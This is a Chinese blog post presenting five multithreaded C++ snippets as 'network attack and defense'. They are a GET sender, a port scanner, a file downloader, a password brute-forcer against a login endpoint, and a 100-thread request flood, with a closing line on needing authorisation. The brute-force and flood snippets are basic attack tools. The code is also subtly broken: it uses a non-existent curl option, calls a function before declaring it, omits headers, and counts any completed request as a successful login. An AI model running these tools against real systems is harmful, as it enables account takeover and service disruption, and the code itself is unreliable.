C++网络攻防-大数据时代的危机

所有内容皆由C++14实现

编译环境:Dev-C++ 5.11

  1. 简单的多线程GET请求
 

cpp

#include <iostream>
#include <thread>
#include <future>
#include <curl/curl.h>

// 用于执行GET请求的函数
void get_request(const std::string& url) {
    CURL* curl = curl_easy_init();
    if(curl) {
        CURLcode res;
        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_RETURNTRANSFER, 1);
        res = curl_easy_perform(curl);
        if(res != CURLE_OK) {
            std::cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << '\n';
        }
        curl_easy_cleanup(curl);
    }
}

int main() {
    std::string url = "http://example.com";
    std::vector<std::thread> threads;

    // 创建10个线程来发送GET请求
    for (int i = 0; i < 10; ++i) {
        threads.emplace_back(get_request, url);
    }

    // 等待所有线程完成
    for (auto& th : threads) {
        th.join();
    }

    return 0;
}
  1. 多线程端口扫描
 

cpp

#include <iostream>
#include <thread>
#include <vector>
#include <future>
#include <sys/socket.h>
#include <arpa/inet.h>

bool port_scan(const std::string& ip, int port) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == -1) {
        return false;
    }

    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    inet_aton(ip.c_str(), &addr.sin_addr);

    if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
        close(sock);
        return true;
    }

    close(sock);
    return false;
}

void thread_function(const std::string& ip, int port) {
    if (port_scan(ip, port)) {
        std::cout << "Port " << port << " is open." << std::endl;
    }
}

int main() {
    std::string ip = "127.0.0.1";
    std::vector<std::thread> threads;

    for (int port = 80; port <= 85; ++port) {
        threads.emplace_back(thread_function, ip, port);
    }

    for (auto& th : threads) {
        th.join();
    }

    return 0;
}
  1. 多线程下载文件
 

cpp

#include <iostream>
#include <thread>
#include <vector>
#include <future>
#include <curl/curl.h>

void download_file(const std::string& url, const std::string& filename) {
    CURL* curl = curl_easy_init();
    if(curl) {
        CURLcode res;
        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &filename);
        res = curl_easy_perform(curl);
        if(res != CURLE_OK) {
            std::cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << '\n';
        }
        curl_easy_cleanup(curl);
    }
}

size_t write_data(void *ptr, size_t size, size_t nmemb, void *stream) {
    std::ofstream file(static_cast<std::string*>(stream)->c_str(), std::ios::binary | std::ios::out);
    file.write(static_cast<char*>(ptr), size * nmemb);
    file.close();
    return size * nmemb;
}

int main() {
    std::string url = "http://example.com/file.zip";
    std::string filename = "downloaded_file.zip";
    std::vector<std::thread> threads;

    for (int i = 0; i < 3; ++i) {
        threads.emplace_back(download_file, url, filename);
    }

    for (auto& th : threads) {
        th.join();
    }

    return 0;
}
  1. 多线程暴力破解(登录尝试)
 

cpp

#include <iostream>
#include <thread>
#include <vector>
#include <future>
#include <curl/curl.h>

// 模拟登录请求的函数
bool login_attempt(const std::string& username, const std::string& password) {
    CURL* curl = curl_easy_init();
    if(curl) {
        CURLcode res;
        std::string data = "username=" + username + "&password=" + password;
        curl_easy_setopt(curl, CURLOPT_URL, "http://example.com/login");
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str());
        curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "POST");
        curl_easy_setopt(curl, CURLOPT_RETURNTRANSFER, 1);
        res = curl_easy_perform(curl);
        if(res != CURLE_OK) {
            std::cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << '\n';
        }
        curl_easy_cleanup(curl);
        return res == CURLE_OK;
    }
    return false;
}

void attempt_login(const std::string& username, const std::vector<std::string>& passwords) {
    for (const auto& pwd : passwords) {
        if (login_attempt(username, pwd)) {
            std::cout << "Login successful with password: " << pwd << std::endl;
            return;
        }
    }
}

int main() {
    std::string username = "testuser";
    std::vector<std::string> passwords = {"password1", "password2", "password3"};
    std::vector<std::thread> threads;

    for (const auto& pwd : passwords) {
        threads.emplace_back(attempt_login, username, std::vector<std::string>{pwd});
    }

    for (auto& th : threads) {
        th.join();
    }

    return 0;
}
  1. 多线程压力测试
 

cpp

#include <iostream>
#include <thread>
#include <vector>
#include <curl/curl.h>

void send_request(const std::string& url) {
    CURL* curl = curl_easy_init();
    if(curl) {
        CURLcode res;
        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_NOBODY, 1);
        res = curl_easy_perform(curl);
        if(res != CURLE_OK) {
            std::cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << '\n';
        }
        curl_easy_cleanup(curl);
    }
}

int main() {
    std::string url = "http://example.com";
    std::vector<std::thread> threads;

    for (int i = 0; i < 100; ++i) {
        threads.emplace_back(send_request, url);
    }

    for (auto& th : threads) {
        th.join();
    }

    return 0;
}

请注意,这些示例需要链接libcurl库,并且在实际使用中需要有适当的错误处理和资源管理。此外,进行任何形式的网络安全测试都应在法律允许的范围内,并得到相关网站的授权。

在编译这些程序时,确保你有安装libcurl开发库,并在编译命令中加入-lcurl标志。例如:

g++ -std=c++14 -o test test.cpp -lcurl

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值